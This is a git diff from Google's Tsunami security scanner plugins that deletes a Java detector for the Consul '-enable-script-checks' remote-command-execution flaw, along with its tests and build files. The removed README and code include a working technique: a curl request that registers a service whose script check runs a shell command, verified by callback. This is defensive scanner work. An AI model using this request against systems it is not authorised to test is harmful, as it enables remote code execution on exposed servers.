diff --git a/google/README.md b/google/README.md index f9493cf98..d83aeee48 100644 --- a/google/README.md +++ b/google/README.md @@ -43,11 +43,11 @@ This directory contains all Tsunami plugins published by Google. * [Apache Solr VelocityResponseWriter RCE (CVE-2019-17558) Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/google/detectors/rce/solr_cve201917558) * [Tomcat Ghostcat (CVE-2020-1938) Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/google/detectors/rce/tomcat/ghostcat) * [vBulletin Pre-Auth RCE (CVE-2019-16759) Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/google/detectors/rce/vbulletin/cve201916759) +* [Consul Exposed UI Detector, now updated to Templated format](https://github.com/google/tsunami-security-scanner-plugins/tree/master/templated/templateddetector/plugins/exposedui/Consul_ExposedUI.textproto) ## Planned Detectors * Exposed unauthenticated [Adminer](https://www.adminer.org/) server. -* Exposed [Hashicorp Consul](https://www.consul.io/) API with enabled script checks. * Exposed [Docker](https://www.docker.com/) daemon API. * Exposed unauthenticated [Drupal](https://www.drupal.org/) installation page. * Exposed unauthenticated [GoCD](https://www.gocd.org/) server. diff --git a/google/detectors/rce/consul/README.md b/google/detectors/rce/consul/README.md deleted file mode 100644 index 34f46baa2..000000000 --- a/google/detectors/rce/consul/README.md +++ /dev/null @@ -1,44 +0,0 @@ -# Consul RCE Validator - -* https://www.exploit-db.com/exploits/46074 -* https://www.hashicorp.com/blog/protecting-consul-from-rce-risk-in-specific-configurations - -## RCE Reproduction steps - -``` -docker run --name consul --net host consul:1.2.3 consul agent -dev -enable-script-checks --bind=127.0.0.1 -``` - -In one terminal: -``` -netcat -l 5555 -``` - -In another: -``` -curl -H 'Content-Type: application/json' -X PUT \ - -d '{ - "ID": "test", - "Name": "test", - "Address": "127.0.0.1", - "Port": 80, - "check": { - "script": "curl localhost:5555/test", - "Args": ["sh", "-c", "curl localhost:5555/test"], - "interval": "10s", - "Timeout": "86400s" - } - }' localhost:8500/v1/agent/service/register -``` - -Make sure to teardown: `docker rm -f consul` - -## Build jar file for this plugin - -Using `gradlew`: - -```shell -./gradlew jar -``` - -Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/google/detectors/rce/consul/build.gradle b/google/detectors/rce/consul/build.gradle deleted file mode 100644 index cebd33494..000000000 --- a/google/detectors/rce/consul/build.gradle +++ /dev/null @@ -1,39 +0,0 @@ -plugins { - id 'java-library' -} - -description = 'Detects Consul enable script checks RCE.' -group = 'com.google.tsunami' -version = '0.0.1-SNAPSHOT' - -repositories { - maven { // The google mirror is less flaky than mavenCentral() - url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' - } - mavenCentral() - mavenLocal() -} - - - -def coreRepoBranch = System.getenv("GITBRANCH_TSUNAMI_CORE") ?: "stable" -def tcsRepoBranch = System.getenv("GITBRANCH_TSUNAMI_TCS") ?: "stable" - -dependencies { - implementation("com.google.tsunami:tsunami-common") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-plugin") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-proto") { - version { branch = "${coreRepoBranch}" } - } - - testImplementation "junit:junit:4.13.2" - testImplementation "com.squareup.okhttp3:mockwebserver:3.12.0" - testImplementation "org.mockito:mockito-core:5.18.0" - testImplementation "com.google.truth:truth:1.4.4" - testImplementation "com.google.truth.extensions:truth-java8-extension:1.4.4" - testImplementation "com.google.truth.extensions:truth-proto-extension:1.4.4" -} diff --git a/google/detectors/rce/consul/settings.gradle b/google/detectors/rce/consul/settings.gradle deleted file mode 100644 index c2c6b36b9..000000000 --- a/google/detectors/rce/consul/settings.gradle +++ /dev/null @@ -1,12 +0,0 @@ -rootProject.name = 'consul_enable_script_checks_command_execution_detector' - -def coreRepository = System.getenv("GITREPO_TSUNAMI_CORE") ?: "https://github.com/google/tsunami-security-scanner.git" -def tcsRepository = System.getenv("GITREPO_TSUNAMI_TCS") ?: "https://github.com/google/tsunami-security-scanner-callback-server.git" - -sourceControl { - gitRepository("${coreRepository}") { - producesModule("com.google.tsunami:tsunami-common") - producesModule("com.google.tsunami:tsunami-plugin") - producesModule("com.google.tsunami:tsunami-proto") - } -} diff --git a/google/detectors/rce/consul/src/main/java/com/google/tsunami/plugins/detectors/rce/consul/ConsulEnableScriptChecksCommandExecutionDetector.java b/google/detectors/rce/consul/src/main/java/com/google/tsunami/plugins/detectors/rce/consul/ConsulEnableScriptChecksCommandExecutionDetector.java deleted file mode 100644 index b89a60a2f..000000000 --- a/google/detectors/rce/consul/src/main/java/com/google/tsunami/plugins/detectors/rce/consul/ConsulEnableScriptChecksCommandExecutionDetector.java +++ /dev/null @@ -1,269 +0,0 @@ -/* - * Copyright 2020 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.rce.consul; - -import static com.google.common.base.Preconditions.checkNotNull; -import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.common.net.HttpHeaders.CONTENT_TYPE; -import static java.nio.charset.StandardCharsets.UTF_8; - -import com.google.common.annotations.VisibleForTesting; -import com.google.common.collect.ImmutableList; -import com.google.common.flogger.GoogleLogger; -import com.google.common.io.Resources; -import com.google.protobuf.ByteString; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.data.NetworkServiceUtils; -import com.google.tsunami.common.net.http.HttpClient; -import com.google.tsunami.common.net.http.HttpHeaders; -import com.google.tsunami.common.net.http.HttpRequest; -import com.google.tsunami.common.net.http.HttpResponse; -import com.google.tsunami.common.time.UtcClock; -import com.google.tsunami.plugin.PluginType; -import com.google.tsunami.plugin.VulnDetector; -import com.google.tsunami.plugin.annotations.ForServiceName; -import com.google.tsunami.plugin.annotations.ForWebService; -import com.google.tsunami.plugin.annotations.PluginInfo; -import com.google.tsunami.plugin.payload.Payload; -import com.google.tsunami.plugin.payload.PayloadGenerator; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.PayloadGeneratorConfig; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.io.IOException; -import java.time.Clock; -import java.time.Instant; -import javax.inject.Inject; - -/** Detects Consul enable script checks RCE */ -@ForWebService -@PluginInfo( - type = PluginType.VULN_DETECTION, - name = "ConsulEnableScriptChecksCommandExecutionDetector", - version = "0.1", - description = "Detects Consul enable script checks RCE", - author = "Tsunami Team (tsunami-dev@google.com)", - bootstrapModule = ConsulEnableScriptChecksCommandExecutionDetectorBootstrapModule.class) - -// nmap returns fmtp for the Consul admin endpoint -@ForServiceName({"fmtp"}) -public final class ConsulEnableScriptChecksCommandExecutionDetector implements VulnDetector { - @VisibleForTesting static final String VULNERABILITY_REPORT_PUBLISHER = "GOOGLE"; - - @VisibleForTesting - static final String VULNERABILITY_REPORT_ID = "CONSUL_ENABLE_SCRIPT_CHECKS_COMMAND_EXECUTION"; - - @VisibleForTesting - static final String VULNERABILITY_REPORT_TITLE = - "Consul -enable-script-checks remote command execution"; - - @VisibleForTesting - static final String VULNERABILITY_REPORT_DESCRIPTION = - "The scanner detected that attackers can execute arbitrary code on this server as Consul is" - + " configured with -enable-script-checks set to true while the Consul HTTP API is" - + " unsecured and accessible over the network. In versions of Consul 0.9.0 or earlier," - + " script checks are by default on, while in later versions, they are disabled by" - + " default. See" - + " https://www.hashicorp.com/blog/protecting-consul-from-rce-risk-in-specific-configurations" - + " for more information.\n" - + "Details on the scanner logic:\n" - + " The scanner was able to register a service on the Consul instance using the" - + " /v1/health/service REST endpoint which executed one of the following: \n" - + "1. A `curl` command to a remote server outside of the network, a technique that can be" - + " used to exfiltrate data from the server.\n" - + "2. A `printf` command whose output was then verified by using the /v1/health/service" - + " REST endpoint.\n" - + " Note that that the scanner subsequently cleaned up and deregistered the service using" - + " the /v1/agent/service/deregister/ REST endpoint."; - - @VisibleForTesting - static final String VULNERABILITY_REPORT_RECOMMENDATION = - "Upgrade to a more modern Consul version, enable ACLs, and disable script checks. If your" - + " require script checks, use the -enable-local-script-checks flag instead. For ACL" - + " configuration, see https://www.consul.io/docs/security/acl#acl-documentation and" - + " https://learn.hashicorp.com/tutorials/consul/access-control-setup-production#bootstrapping-acls"; - - private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - private static final String RCE_TEST_SERVICE_NAME = "TSUNAMI_RCE_TEST"; - private static final String RCE_VULNERABILITY_PATH = "v1/agent/service/register"; - - private final Clock utcClock; - private final HttpClient httpClient; - private final PayloadGenerator payloadGenerator; - private final String payloadFormatString; - - @Inject - ConsulEnableScriptChecksCommandExecutionDetector( - @UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator) - throws IOException { - this.utcClock = checkNotNull(utcClock); - this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(false).build(); - this.payloadGenerator = checkNotNull(payloadGenerator); - this.payloadFormatString = - String.format( - Resources.toString( - Resources.getResource(this.getClass(), "payloadFormatString.json"), UTF_8), - RCE_TEST_SERVICE_NAME, - "%s"); // Keep the second placeholder for the command payload later - } - - @Override - public ImmutableList getAdvisories() { - return ImmutableList.of( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher(VULNERABILITY_REPORT_PUBLISHER) - .setValue(VULNERABILITY_REPORT_ID)) - .setSeverity(Severity.CRITICAL) - .setTitle(VULNERABILITY_REPORT_TITLE) - .setDescription(VULNERABILITY_REPORT_DESCRIPTION) - .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION) - .build()); - } - - @Override - public DetectionReportList detect( - TargetInfo targetInfo, ImmutableList matchedServices) { - logger.atInfo().log("Start detecting."); - - return DetectionReportList.newBuilder() - .addAllDetectionReports( - matchedServices.stream() - .filter(this::isServiceVulnerable) - .map(networkService -> buildDetectionReport(targetInfo, networkService)) - .collect(toImmutableList())) - .build(); - } - - private boolean isServiceVulnerable(NetworkService networkService) { - boolean hasRegiseredService = false; - - String rootUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); - String targetUri = rootUri + RCE_VULNERABILITY_PATH + "?replace-existing-checks=true"; - - PayloadGeneratorConfig config = - PayloadGeneratorConfig.newBuilder() - .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.REFLECTIVE_RCE) - .setInterpretationEnvironment( - PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL) - .setExecutionEnvironment( - PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT) - .build(); - - Payload payload = this.payloadGenerator.generate(config); - // Don't include start and ending " because they are already in payloadFormatString - String rceCommand = String.format("sh\", \"-c\", \"%s", payload.getPayload()); - String reqPayload = String.format(payloadFormatString, rceCommand); - - try { - HttpRequest req = - HttpRequest.put(targetUri) - .setHeaders(HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build()) - .setRequestBody(ByteString.copyFromUtf8(reqPayload)) - .build(); - - HttpResponse res = this.httpClient.send(req, networkService); - - hasRegiseredService = res.status().isSuccess(); - - } catch (IOException e) { - logger.atWarning().withCause(e).log( - "Fail to exploit '%s'. Maybe it is not vulnerable", targetUri); - return false; - } - - if (!hasRegiseredService) { - return false; - } - - boolean isVulnerable = false; - - try { - // If there is an RCE, the execution isn't immediate. - Thread.sleep(10000); - - if (payload.getPayloadAttributes().getUsesCallbackServer()) { - logger.atInfo().log("TCS enabled, so checking vulnerability using it."); - - isVulnerable = payload.checkIfExecuted(); - - } else { - logger.atInfo().log("TCS not enabled, so trying alternative method."); - - String verificationUri = rootUri + "v1/health/service/" + RCE_TEST_SERVICE_NAME; - HttpRequest req = HttpRequest.get(verificationUri).withEmptyHeaders().build(); - - try { - HttpResponse res = this.httpClient.send(req, networkService); - isVulnerable = res.status().isSuccess() && payload.checkIfExecuted(res.bodyBytes()); - - } catch (IOException e) { - logger.atWarning().withCause(e).log("Failed to validate RCE against %s", verificationUri); - isVulnerable = false; - } - } - } catch (InterruptedException e) { - logger.atWarning().withCause(e).log("Failed to wait for RCE result"); - isVulnerable = false; - } - - this.cleanUp(rootUri, networkService); - - return isVulnerable; - } - - /** Unregisters the registered service */ - private void cleanUp(String rootUri, NetworkService networkService) { - logger.atInfo().log("Cleaning up registered service"); - - String unregisterUri = rootUri + "v1/agent/service/deregister/" + RCE_TEST_SERVICE_NAME; - HttpRequest req = HttpRequest.put(unregisterUri).withEmptyHeaders().build(); - - try { - HttpResponse res = this.httpClient.send(req, networkService); - - if (res.status().isSuccess()) { - logger.atInfo().log( - "Successfully unregistered %s from Consul instance", RCE_TEST_SERVICE_NAME); - } else { - logger.atWarning().log( - "Failed to remove %s from Consul instance, response status %s", - RCE_TEST_SERVICE_NAME, res.status()); - } - } catch (IOException e) { - logger.atWarning().withCause(e).log( - "Failed to remove %s from Consul instance with exception %s", - RCE_TEST_SERVICE_NAME, e.getMessage()); - } - } - - private DetectionReport buildDetectionReport( - TargetInfo targetInfo, NetworkService vulnerableNetworkService) { - return DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(vulnerableNetworkService) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(this.getAdvisories().get(0)) - .build(); - } -} diff --git a/google/detectors/rce/consul/src/main/java/com/google/tsunami/plugins/detectors/rce/consul/ConsulEnableScriptChecksCommandExecutionDetectorBootstrapModule.java b/google/detectors/rce/consul/src/main/java/com/google/tsunami/plugins/detectors/rce/consul/ConsulEnableScriptChecksCommandExecutionDetectorBootstrapModule.java deleted file mode 100644 index a5c82b5b6..000000000 --- a/google/detectors/rce/consul/src/main/java/com/google/tsunami/plugins/detectors/rce/consul/ConsulEnableScriptChecksCommandExecutionDetectorBootstrapModule.java +++ /dev/null @@ -1,31 +0,0 @@ -/* - * Copyright 2020 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.rce.consul; - -import com.google.tsunami.plugin.PluginBootstrapModule; - -/** - * Guice module that bootstraps the {@link - * ConsulEnableScriptChecksCommandExecutionDetector}. - */ -public final class ConsulEnableScriptChecksCommandExecutionDetectorBootstrapModule - extends PluginBootstrapModule { - - @Override - protected void configurePlugin() { - registerPlugin(ConsulEnableScriptChecksCommandExecutionDetector.class); - } -} diff --git a/google/detectors/rce/consul/src/main/resources/com/google/tsunami/plugins/detectors/rce/consul/payloadFormatString.json b/google/detectors/rce/consul/src/main/resources/com/google/tsunami/plugins/detectors/rce/consul/payloadFormatString.json deleted file mode 100644 index 6b4194a84..000000000 --- a/google/detectors/rce/consul/src/main/resources/com/google/tsunami/plugins/detectors/rce/consul/payloadFormatString.json +++ /dev/null @@ -1,8 +0,0 @@ -{ - "Name": "%s", - "check": { - "Args": ["%s"], - "interval": "10s", - "timeout": "600s" - } -} diff --git a/google/detectors/rce/consul/src/test/java/com/google/tsunami/plugins/detectors/rce/consul/ConsulEnableScriptChecksCommandExecutionDetectorWithCallbackServerTest.java b/google/detectors/rce/consul/src/test/java/com/google/tsunami/plugins/detectors/rce/consul/ConsulEnableScriptChecksCommandExecutionDetectorWithCallbackServerTest.java deleted file mode 100644 index ee813444d..000000000 --- a/google/detectors/rce/consul/src/test/java/com/google/tsunami/plugins/detectors/rce/consul/ConsulEnableScriptChecksCommandExecutionDetectorWithCallbackServerTest.java +++ /dev/null @@ -1,120 +0,0 @@ -/* - * Copyright 2022 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.rce.consul; - -import static com.google.common.truth.Truth.assertThat; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; - -import com.google.common.collect.ImmutableList; -import com.google.inject.Guice; -import com.google.tsunami.common.net.http.HttpClientModule; -import com.google.tsunami.common.net.http.HttpStatus; -import com.google.tsunami.common.time.testing.FakeUtcClock; -import com.google.tsunami.common.time.testing.FakeUtcClockModule; -import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; -import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.TargetInfo; -import java.io.IOException; -import java.time.Instant; -import javax.inject.Inject; -import okhttp3.mockwebserver.MockResponse; -import okhttp3.mockwebserver.MockWebServer; -import okhttp3.mockwebserver.RecordedRequest; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Unit tests for {@link ConsulEnableScriptChecksCommandExecutionDetector}. */ -@RunWith(JUnit4.class) -public final class ConsulEnableScriptChecksCommandExecutionDetectorWithCallbackServerTest { - - private final FakeUtcClock fakeUtcClock = - FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); - - @Inject private ConsulEnableScriptChecksCommandExecutionDetector detector; - - private MockWebServer mockConsulService; - private MockWebServer mockCallbackServer; - - @Before - public void setUp() throws IOException { - - mockConsulService = new MockWebServer(); - mockCallbackServer = new MockWebServer(); - mockConsulService.start(); - mockCallbackServer.start(); - - Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), - new HttpClientModule.Builder().build(), - FakePayloadGeneratorModule.builder() - .setCallbackServer(mockCallbackServer) - .build(), - new ConsulEnableScriptChecksCommandExecutionDetectorBootstrapModule()) - .injectMembers(this); - } - - @After - public void tearDown() throws Exception { - mockCallbackServer.shutdown(); - mockConsulService.shutdown(); - } - - @Test - public void detect_whenVulnerable_reportsVulnerability() - throws IOException, InterruptedException { - NetworkService service = TestHelper.createConsulService(mockConsulService); - TargetInfo target = TestHelper.buildTargetInfo(forHostname(mockConsulService.getHostName())); - // Enqueue two responses, one for the RCE request and one for deregistering the service - mockConsulService.enqueue(new MockResponse().setResponseCode(HttpStatus.OK.code())); - mockConsulService.enqueue(new MockResponse().setResponseCode(HttpStatus.OK.code())); - mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse()); - - DetectionReportList detectionReports = detector.detect(target, ImmutableList.of(service)); - - assertThat(detectionReports.getDetectionReportsList()) - .contains(TestHelper.buildValidDetectionReport(target, service, fakeUtcClock)); - RecordedRequest req = mockConsulService.takeRequest(); - assertThat(req.getPath()).contains("/v1/agent/service/register"); - req = mockConsulService.takeRequest(); - assertThat(req.getPath()).contains("/v1/agent/service/deregister"); - } - - @Test - public void detect_whenNotVulnerable_doesNotReportVulnerability() - throws IOException, InterruptedException { - NetworkService service = TestHelper.createConsulService(mockConsulService); - // Enqueue two responses, one for the RCE request and one for deregistering the service - mockConsulService.enqueue(new MockResponse().setResponseCode(HttpStatus.OK.code())); - mockConsulService.enqueue(new MockResponse().setResponseCode(HttpStatus.OK.code())); - mockCallbackServer.enqueue(PayloadTestHelper.generateMockUnsuccessfulCallbackResponse()); - - DetectionReportList detectionReports = - detector.detect( - TestHelper.buildTargetInfo(forHostname(mockConsulService.getHostName())), - ImmutableList.of(service)); - - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - RecordedRequest req = mockConsulService.takeRequest(); - assertThat(req.getPath()).contains("/v1/agent/service/register"); - req = mockConsulService.takeRequest(); - assertThat(req.getPath()).contains("/v1/agent/service/deregister"); - } -} diff --git a/google/detectors/rce/consul/src/test/java/com/google/tsunami/plugins/detectors/rce/consul/ConsulEnableScriptChecksCommandExecutionDetectorWithOutCallbackServerTest.java b/google/detectors/rce/consul/src/test/java/com/google/tsunami/plugins/detectors/rce/consul/ConsulEnableScriptChecksCommandExecutionDetectorWithOutCallbackServerTest.java deleted file mode 100644 index 5fbf25a3d..000000000 --- a/google/detectors/rce/consul/src/test/java/com/google/tsunami/plugins/detectors/rce/consul/ConsulEnableScriptChecksCommandExecutionDetectorWithOutCallbackServerTest.java +++ /dev/null @@ -1,145 +0,0 @@ -/* - * Copyright 2020 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.rce.consul; - -// import static com.google.common.net.HttpHeaders.CONTENT_TYPE; -import static com.google.common.truth.Truth.assertThat; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; -import static java.nio.charset.StandardCharsets.UTF_8; - -import com.google.common.collect.ImmutableList; -import com.google.common.io.Resources; -import com.google.inject.Guice; -import com.google.tsunami.common.net.http.HttpClientModule; -import com.google.tsunami.common.net.http.HttpStatus; -import com.google.tsunami.common.time.testing.FakeUtcClock; -import com.google.tsunami.common.time.testing.FakeUtcClockModule; -import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.TargetInfo; -import java.io.IOException; -import java.security.SecureRandom; -import java.time.Instant; -import java.util.Arrays; -import javax.inject.Inject; -import okhttp3.mockwebserver.MockResponse; -import okhttp3.mockwebserver.MockWebServer; -import okhttp3.mockwebserver.RecordedRequest; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Unit tests for {@link ConsulEnableScriptChecksCommandExecutionDetector}. */ -@RunWith(JUnit4.class) -public final class ConsulEnableScriptChecksCommandExecutionDetectorWithOutCallbackServerTest { - - private final FakeUtcClock fakeUtcClock = - FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); - - @Inject private ConsulEnableScriptChecksCommandExecutionDetector detector; - - private MockWebServer mockConsulService; - private final String validRceResponse; - - private final SecureRandom testSecureRandom = - new SecureRandom() { - @Override - public void nextBytes(byte[] bytes) { - Arrays.fill(bytes, (byte) 0xFF); - } - }; - - public ConsulEnableScriptChecksCommandExecutionDetectorWithOutCallbackServerTest() - throws IOException { - this.validRceResponse = - Resources.toString(Resources.getResource(this.getClass(), "validRCEResponse.json"), UTF_8); - } - - @Before - public void setUp() throws IOException { - - mockConsulService = new MockWebServer(); - mockConsulService.start(); - - Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), - new HttpClientModule.Builder().build(), - FakePayloadGeneratorModule.builder().setSecureRng(testSecureRandom).build(), - new ConsulEnableScriptChecksCommandExecutionDetectorBootstrapModule()) - .injectMembers(this); - } - - @After - public void tearDown() throws Exception { - mockConsulService.shutdown(); - } - - @Test - public void detect_whenVulnerable_reportsVulnerability() - throws IOException, InterruptedException { - // For the service registration request - mockConsulService.enqueue(new MockResponse().setResponseCode(HttpStatus.OK.code())); - // For the RCE check - mockConsulService.enqueue( - new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(validRceResponse)); - // For the service deregistration - mockConsulService.enqueue(new MockResponse().setResponseCode(HttpStatus.OK.code())); - - NetworkService service = TestHelper.createConsulService(mockConsulService); - TargetInfo target = TestHelper.buildTargetInfo(forHostname(mockConsulService.getHostName())); - - DetectionReportList detectionReports = detector.detect(target, ImmutableList.of(service)); - - assertThat(detectionReports.getDetectionReportsList()) - .contains(TestHelper.buildValidDetectionReport(target, service, fakeUtcClock)); - RecordedRequest req = mockConsulService.takeRequest(); - assertThat(req.getPath()).contains("/v1/agent/service/register"); - req = mockConsulService.takeRequest(); - assertThat(req.getPath()).contains("/v1/health/service/TSUNAMI_RCE_TEST"); - req = mockConsulService.takeRequest(); - assertThat(req.getPath()).contains("/v1/agent/service/deregister"); - } - - @Test - public void detect_whenNotVulnerable_doesNotReportVulnerability() - throws IOException, InterruptedException { - // For the service registration request - mockConsulService.enqueue(new MockResponse().setResponseCode(HttpStatus.OK.code())); - // For the RCE check - mockConsulService.enqueue( - new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody("NO RCE")); - // For the service deregistration - mockConsulService.enqueue(new MockResponse().setResponseCode(HttpStatus.OK.code())); - - NetworkService service = TestHelper.createConsulService(mockConsulService); - - DetectionReportList detectionReports = - detector.detect( - TestHelper.buildTargetInfo(forHostname(mockConsulService.getHostName())), - ImmutableList.of(service)); - - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - RecordedRequest req = mockConsulService.takeRequest(); - assertThat(req.getPath()).contains("/v1/agent/service/register"); - req = mockConsulService.takeRequest(); - assertThat(req.getPath()).contains("/v1/health/service/TSUNAMI_RCE_TEST"); - req = mockConsulService.takeRequest(); - assertThat(req.getPath()).contains("/v1/agent/service/deregister"); - } -} diff --git a/google/detectors/rce/consul/src/test/java/com/google/tsunami/plugins/detectors/rce/consul/TestHelper.java b/google/detectors/rce/consul/src/test/java/com/google/tsunami/plugins/detectors/rce/consul/TestHelper.java deleted file mode 100644 index 0c2ad62c8..000000000 --- a/google/detectors/rce/consul/src/test/java/com/google/tsunami/plugins/detectors/rce/consul/TestHelper.java +++ /dev/null @@ -1,82 +0,0 @@ -/* - * Copyright 2020 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.rce.consul; - -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; - -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.time.testing.FakeUtcClock; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkEndpoint; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.time.Instant; -import okhttp3.mockwebserver.MockWebServer; - -/** - * Helper class for shared methods in this test suite TODO: refactor into its own lib module for - * future tests that utilize the callback server - */ -final class TestHelper { - - private TestHelper() {} - - static NetworkService createConsulService(MockWebServer mockService) { - return NetworkService.newBuilder() - .setNetworkEndpoint(forHostnameAndPort(mockService.getHostName(), mockService.getPort())) - .setTransportProtocol(TransportProtocol.TCP) - .setServiceName("fmtp") - .build(); - } - - static TargetInfo buildTargetInfo(NetworkEndpoint networkEndpoint) { - return TargetInfo.newBuilder().addNetworkEndpoints(networkEndpoint).build(); - } - - static DetectionReport buildValidDetectionReport( - TargetInfo target, NetworkService service, FakeUtcClock fakeUtcClock) { - return DetectionReport.newBuilder() - .setTargetInfo(target) - .setNetworkService(service) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher( - ConsulEnableScriptChecksCommandExecutionDetector - .VULNERABILITY_REPORT_PUBLISHER) - .setValue( - ConsulEnableScriptChecksCommandExecutionDetector - .VULNERABILITY_REPORT_ID)) - .setSeverity(Severity.CRITICAL) - .setTitle( - ConsulEnableScriptChecksCommandExecutionDetector.VULNERABILITY_REPORT_TITLE) - .setDescription( - ConsulEnableScriptChecksCommandExecutionDetector - .VULNERABILITY_REPORT_DESCRIPTION) - .setRecommendation( - ConsulEnableScriptChecksCommandExecutionDetector - .VULNERABILITY_REPORT_RECOMMENDATION)) - .build(); - } -} diff --git a/google/detectors/rce/consul/src/test/resources/com/google/tsunami/plugins/detectors/rce/consul/validRCEResponse.json b/google/detectors/rce/consul/src/test/resources/com/google/tsunami/plugins/detectors/rce/consul/validRCEResponse.json deleted file mode 100644 index 773b65f14..000000000 --- a/google/detectors/rce/consul/src/test/resources/com/google/tsunami/plugins/detectors/rce/consul/validRCEResponse.json +++ /dev/null @@ -1,14 +0,0 @@ -{ - "Node": "test node", - "CheckID": "service:TSUNAMI_RCE_TEST", - "Name": "Service 'TSUNAMI_RCE_TEST' check", - "Status": "passing", - "Notes": "", - "Output": "TSUNAMI_PAYLOAD_STARTffffffffffffffffTSUNAMI_PAYLOAD_END", - "ServiceID": "TSUNAMI_RCE_TEST", - "ServiceName": "TSUNAMI_RCE_TEST", - "ServiceTags": null, - 